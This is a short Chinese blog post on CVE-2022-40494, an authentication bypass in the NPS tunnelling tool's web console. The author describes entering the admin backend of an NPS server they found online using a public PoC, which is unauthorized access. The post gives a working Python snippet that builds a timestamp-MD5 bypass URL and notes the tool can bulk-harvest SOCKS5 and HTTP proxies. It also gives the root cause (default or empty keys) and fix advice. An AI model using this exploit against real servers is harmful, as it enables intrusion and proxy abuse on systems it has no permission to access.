NPS,不仅能打洞穿透,而且还有大洞。
我无意间在网上发现了一个NPS Web服务,于是好奇的搜索了一下这个程序的漏洞,并且成功的利用Poc脚本进入了后台,在博客里记录一下这个漏洞。
0x00:漏洞代号
CVE-2022-40494
0x01:Poc工具
https://github.com/carr0t2/nps-auth-bypass
使用此工具可在浏览器访问Web控制端后台页面,或者批量获取Socks5和Http代理。
0x02:后台权限绕过
如果条件符合,只要把时间戳进行MD5编码即可进行绕过。
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now)))
将打印出来的Path直接在浏览器中用Nps Web链接+Path即可实现
例如:"http://127.0.0.1:8080/Index/Index?auth_key=xxxxx×tamp=xxxxx"
0x03:修复建议
漏洞原因在于auth_key被注释或为空或auth_crypt_key为默认值1234567812345678。
但据说特殊条件下仍可复现,所以不建议继续使用这个程序,建议直接使用Frp服务进行转发。
0x04:参考文献
GitHub-NPS项目
FreeBuf-NPS未授权访问漏洞详解
PeiQi文库-NPS auth_key 未授权访问漏洞
感谢您的浏览,愿我国网络更加安全。